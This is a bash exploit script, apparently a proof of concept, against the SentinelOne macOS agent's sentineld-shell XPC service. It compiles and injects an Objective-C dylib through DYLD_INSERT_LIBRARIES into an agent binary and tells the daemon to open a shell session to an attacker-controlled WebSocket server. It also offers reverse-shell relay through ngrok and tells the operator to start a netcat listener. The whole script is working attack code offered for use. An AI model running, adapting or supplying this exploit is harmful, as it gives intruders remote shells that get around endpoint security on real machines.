exploit.sh

#!/bin/bash
# exploit.sh — SentinelShell: sentineld-shell XPC (no audit token check)
#
# Usage:
#   ./exploit.sh                                    # interactive shell (local)
#   ./exploit.sh 'id'                               # run single command
#   ./exploit.sh --relay IP:PORT                    # reverse shell to operator
#   ./exploit.sh --relay IP:PORT 'id'               # reverse shell + initial cmd
#   ./exploit.sh 'ws://REMOTE:9999/...'             # remote server mode
#   ./exploit.sh --ngrok                            # auto ngrok tunnel

set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
WS_SERVER="${SCRIPT_DIR}/server.py"
CONNECTED_FLAG="/tmp/s1_connected"
WS_PORT=9999

RED='\033[0;31m'; GRN='\033[0;32m'; YLW='\033[1;33m'; BLU='\033[0;34m'; CYN='\033[0;36m'; NC='\033[0m'
ok()   { echo -e "${GRN}[+]${NC} $*" >&2; }
info() { echo -e "${BLU}[*]${NC} $*" >&2; }
warn() { echo -e "${YLW}[!]${NC} $*" >&2; }
die()  { echo -e "${RED}[-]${NC} $*" >&2; exit 1; }

RELAY_ADDR=""
ATTACKER_WS=""
CMD=""
USE_NGROK=false
NC_PORT=4444

ARGS=("$@")
i=0
while [ $i -lt ${#ARGS[@]} ]; do
    arg="${ARGS[$i]}"
    case "$arg" in
        --relay)
            i=$((i+1)); RELAY_ADDR="${ARGS[$i]:-}" ;;
        --ngrok)
            USE_NGROK=true ;;
        --nc-port)
            i=$((i+1)); NC_PORT="${ARGS[$i]:-4444}" ;;
        ws://*|wss://*)
            ATTACKER_WS="$arg" ;;
        *)
            # CMD = cualquier arg que no sea IP:PORT
            [[ "$arg" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+$ ]] || CMD="$arg" ;;
    esac
    i=$((i+1))
done

CHANNEL_ID="poc-channel-$(od -An -N4 -tx4 /dev/urandom | tr -d ' \n')"
AUTH_TOKEN="$(od -An -N8 -tx1 /dev/urandom | tr -d ' \n')"
DYLIB="/tmp/poc_s1_inject2.dylib"
C_SRC="/tmp/poc_s1_inject2.c"

[ -z "$ATTACKER_WS" ] && ATTACKER_WS="ws://127.0.0.1:${WS_PORT}/socket.io/?EIO=4&transport=websocket"

_ws_host="$(echo "$ATTACKER_WS" | sed -E 's|^wss?://([^/:]+).*|\1|')"
REMOTE_MODE=false
if [[ "$_ws_host" != "127.0.0.1" && "$_ws_host" != "localhost" ]]; then
    REMOTE_MODE=true
fi

# ── Ngrok auto-relay ──────────────────────────────────────────────────────────
NGROK_PID=""
cleanup_ngrok() { [ -n "$NGROK_PID" ] && kill "$NGROK_PID" 2>/dev/null || true; }
trap cleanup_ngrok EXIT

if $USE_NGROK; then
    which ngrok >/dev/null 2>&1 || die "ngrok no encontrado (brew install ngrok)"
    pkill -f "ngrok tcp ${NC_PORT}" 2>/dev/null || true
    sleep 0.3
    ngrok tcp "$NC_PORT" --log=stdout --log-format=json > /tmp/s1_ngrok.log 2>&1 &
    NGROK_PID=$!
    info "ngrok started (pid=$NGROK_PID), waiting for public URL..."
    NGROK_ADDR=""
    for _ in $(seq 1 30); do
        sleep 0.5
        NGROK_ADDR="$(curl -s http://localhost:4040/api/tunnels 2>/dev/null \
            | python3 -c "
import sys,json
try:
    for t in json.load(sys.stdin).get('tunnels',[]):
        if t.get('proto')=='tcp':
            u=t['public_url'].replace('tcp://','')
            print(u); break
except: pass
" 2>/dev/null || true)"
        [ -z "$NGROK_ADDR" ] && \
            NGROK_ADDR="$(grep -o '"Addr":"[^"]*"' /tmp/s1_ngrok.log 2>/dev/null \
                | head -1 | grep -o '"[^"]*"$' | tr -d '"' || true)"
        [ -n "$NGROK_ADDR" ] && break
    done
    if [ -z "$NGROK_ADDR" ]; then
        warn "Could not read ngrok URL automatically."
        read -r -p "[?] Pega el addr ngrok (host:port): " NGROK_ADDR
    fi
    RELAY_ADDR="$NGROK_ADDR"
    ok "ngrok relay: ${CYN}${RELAY_ADDR}${NC}"
    echo >&2
    echo -e "${YLW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}" >&2
    echo -e "${YLW}  Operator → run in another terminal:${NC}" >&2
    echo -e "${YLW}    nc -lvp ${NC_PORT}${NC}" >&2
    echo -e "${YLW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}" >&2
    echo >&2
fi

echo >&2
echo -e "${YLW}═══════════════════════════════════════════════════════${NC}" >&2
echo -e "${YLW}  SentinelShell — sentineld-shell XPC (no audit token verification)${NC}" >&2
echo -e "${YLW}═══════════════════════════════════════════════════════${NC}" >&2
echo >&2

[ -f "$WS_SERVER" ] || die "No se encuentra $WS_SERVER"

# 1. Locate SentinelOne bundle
info "Locating SentinelOne installation..."
S1_BUNDLE=""
for p in \
    "/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS" \
    "/Applications/SentinelOne/SentinelOne.app/Contents/MacOS"
do
    [ -d "$p" ] && S1_BUNDLE="$p" && break
done
if [ -z "$S1_BUNDLE" ]; then
    FOUND="$(find /Library/Sentinel /Applications -maxdepth 6 -name 'sentinel_shell' -type f 2>/dev/null | head -1 || true)"
    [ -n "$FOUND" ] && S1_BUNDLE="$(dirname "$FOUND")"
fi
[ -z "$S1_BUNDLE" ] && die "SentinelOne no encontrado"
ok "Bundle: $S1_BUNDLE"

# ── 2. Auto-descubrir Team ID ────────────────────────────────────────────────
info "Extrayendo Team ID de los binarios del bundle..."
TEAM_ID=""
for bin in sentinel_shell sentinelctl sentineld_guard s1_browser_host; do
    BIN_PATH="$S1_BUNDLE/$bin"
    [ -f "$BIN_PATH" ] || continue
    TID="$(codesign -d -r- "$BIN_PATH" 2>&1 \
          | grep -oE 'subject\.OU\] = "[A-Z0-9]+"' \
          | grep -oE '[A-Z0-9]{10}' | head -1 || true)"
    if [ -n "$TID" ]; then
        TEAM_ID="$TID"
        ok "Team ID: ${YLW}${TEAM_ID}${NC}  (de $bin)"
        break
    fi
done
[ -z "$TEAM_ID" ] && die "No se pudo extraer el Team ID"

# 3. Check SIP status
info "Detectando estado de SIP..."
SIP_ENABLED=true
SIP_STATUS="$(csrutil status 2>/dev/null | head -1 || true)"
if echo "$SIP_STATUS" | grep -qi "disabled"; then
    SIP_ENABLED=false
    ok "SIP: ${GRN}DISABLED${NC} — DYLD_INSERT_LIBRARIES funciona directamente"
elif touch /Library/.sip_probe 2>/dev/null && rm -f /Library/.sip_probe; then
    SIP_ENABLED=false
    ok "SIP: ${GRN}DISABLED${NC} (probe de escritura en /Library)"
else
    warn "SIP: ${RED}ENABLED${NC} — necesito verificar hardened runtime del host"
fi

# 4. Select injection host
info "Selecting injection host..."
HOST_BIN=""
VECTOR=""

CANDIDATES=(sentinel_shell sentinelctl s1_browser_host sentineld_guard)
for bin in "${CANDIDATES[@]}"; do
    BIN_PATH="$S1_BUNDLE/$bin"
    [ -f "$BIN_PATH" ] || continue
    FLAGS="$(codesign -dv "$BIN_PATH" 2>&1 | grep -i 'flags=' | head -1 || true)"
    if echo "$FLAGS" | grep -qi "0x0\b\|flags=0x0[^0-9]"; then
        HOST_BIN="$BIN_PATH"; VECTOR="dyld_no_hardened"
        ok "Host: ${YLW}$bin${NC} — sin hardened runtime (flags=0x0)"
        break
    elif ! $SIP_ENABLED; then
        HOST_BIN="$BIN_PATH"; VECTOR="dyld_sip_disabled"
        ok "Host: ${YLW}$bin${NC} (SIP disabled)"
        break
    fi
done
if [ -z "$HOST_BIN" ]; then
    [ "$(id -u)" = "0" ] \
        && HOST_BIN="$S1_BUNDLE/sentinel_shell" && VECTOR="root_dyld" \
        && warn "Usando root para forzar DYLD en $HOST_BIN" \
        || die "No viable injection vector found."
fi

# 5. Check Mach service
info "Verificando Mach service com.sentinelone.sentineld-shell..."
if launchctl print system/com.sentinelone.sentineld-shell 2>/dev/null | grep -q "running\|pid"; then
    ok "Mach service: ${GRN}ACTIVO${NC}"
    DAEMON_PID="$(launchctl print system/com.sentinelone.sentineld-shell 2>/dev/null | awk '/^\tpid =/{print $3; exit}')"
    info "Daemon PID: $DAEMON_PID"
elif pgrep -x sentineld_shell >/dev/null 2>&1; then
    ok "Mach service: ${GRN}ACTIVO${NC} (via pgrep)"
    DAEMON_PID="$(pgrep -x sentineld_shell | head -1)"
    info "Daemon PID: $DAEMON_PID"
else
    die "com.sentinelone.sentineld-shell is not running"
fi

# 6. Compile injection dylib
info "Compiling injection dylib..."
cat > "$C_SRC" <<CSRC
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <pwd.h>
#include <xpc/xpc.h>
#include <dispatch/dispatch.h>
#import <Foundation/Foundation.h>

#define SERVICE_NAME "com.sentinelone.sentineld-shell"
#define ATTACKER_WS  "${ATTACKER_WS}"
#define CHANNEL_ID   "${CHANNEL_ID}"
#define AUTH_TOKEN   "${AUTH_TOKEN}"

static xpc_connection_t _kept_conn = NULL;

static struct passwd _fake_pw;
static char _fake_name[] = "_sentinelshell";
struct passwd *getpwnam(const char *name) {
    (void)name;
    _fake_pw.pw_name  = _fake_name;
    _fake_pw.pw_uid   = getuid();
    _fake_pw.pw_gid   = getgid();
    _fake_pw.pw_dir   = (char *)"/var/empty";
    _fake_pw.pw_shell = (char *)"/bin/bash";
    return &_fake_pw;
}

__attribute__((constructor))
static void poc_init(void)
{
    dispatch_queue_t q = dispatch_queue_create("poc.q", DISPATCH_QUEUE_SERIAL);
    dispatch_semaphore_t sem = dispatch_semaphore_create(0);

    xpc_connection_t conn = xpc_connection_create_mach_service(SERVICE_NAME, q, 0);
    if (!conn) return;

    xpc_connection_set_event_handler(conn, ^(xpc_object_t ev) { (void)ev; });
    xpc_connection_resume(conn);

    int histfd = open("/dev/null", O_RDWR);

    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_uint64(msg, "msg",             0ULL);
    xpc_dictionary_set_string(msg, "url",             ATTACKER_WS);
    xpc_dictionary_set_string(msg, "channelID",       CHANNEL_ID);
    xpc_dictionary_set_string(msg, "auth_token",      AUTH_TOKEN);
    xpc_dictionary_set_double(msg, "ping_interval",   30.0);
    xpc_dictionary_set_uint64(msg, "history_size",    4096ULL);
    xpc_dictionary_set_fd    (msg, "history_fd",      histfd);
    xpc_dictionary_set_uint64(msg, "rows",            24ULL);
    xpc_dictionary_set_uint64(msg, "columns",         80ULL);
    xpc_dictionary_set_bool  (msg, "disabled",        false);
    xpc_dictionary_set_bool  (msg, "already_running", false);

    xpc_connection_send_message_with_reply(conn, msg, q, ^(xpc_object_t reply) {
        (void)reply;
        dispatch_semaphore_signal(sem);
    });
    xpc_release(msg);

    dispatch_time_t t = dispatch_time(DISPATCH_TIME_NOW, 8LL * NSEC_PER_SEC);
    dispatch_semaphore_wait(sem, t);

    close(histfd);
    _kept_conn = conn;
}
CSRC

clang -x objective-c -dynamiclib -o "$DYLIB" "$C_SRC" \
    -framework Foundation -framework CoreFoundation -fblocks -fno-objc-arc \
    -Wall -Wno-unused-function 2>&1 | grep -v "^$" || true
ok "Dylib compilado: $DYLIB"

echo >&2
info "Vector:  ${YLW}${VECTOR}${NC}"
info "Host:    ${YLW}${S1_BUNDLE}/sentinel_shell${NC}"
info "Target:  ${YLW}com.sentinelone.sentineld-shell${NC}"
info "WS URL:  ${YLW}${ATTACKER_WS}${NC}"
[ -n "$CMD" ]        && info "CMD:     ${YLW}${CMD}${NC}"
[ -n "$RELAY_ADDR" ] && info "Relay:   ${CYN}${RELAY_ADDR}${NC}"
echo >&2

# El server toma el tty del proceso actual (heredado).

rm -f "$CONNECTED_FLAG"

if $REMOTE_MODE; then
    info "Remote mode — injecting dylib (server running on ${_ws_host})..."
    (
        sleep 0.3
        DYLD_INSERT_LIBRARIES="$DYLIB" "${S1_BUNDLE}/sentinel_shell" 2>&1 | grep '^\[POC\]' &
        HOST_PID=$!
        ok "Injected (pid=$HOST_PID) → connecting to ${ATTACKER_WS}"
    ) &
    info "Waiting... (Ctrl-C to abort)"
    wait
else
    # local mode: start server here and bridge with tty
    SERVER_ARGS="--port $WS_PORT"
    [ -n "$RELAY_ADDR" ] && SERVER_ARGS="$SERVER_ARGS --relay $RELAY_ADDR"
    [ -n "$CMD" ]        && SERVER_ARGS="$SERVER_ARGS \"$CMD\""

    (
        sleep 0.8
        DYLD_INSERT_LIBRARIES="$DYLIB" "${S1_BUNDLE}/sentinel_shell" 2>&1 | grep '^\[POC\]' &
        HOST_PID=$!
        info "Injected (pid=$HOST_PID)"
    ) &

    info "Starting server (waiting for daemon)..."
    eval python3 "$WS_SERVER" $SERVER_ARGS
fi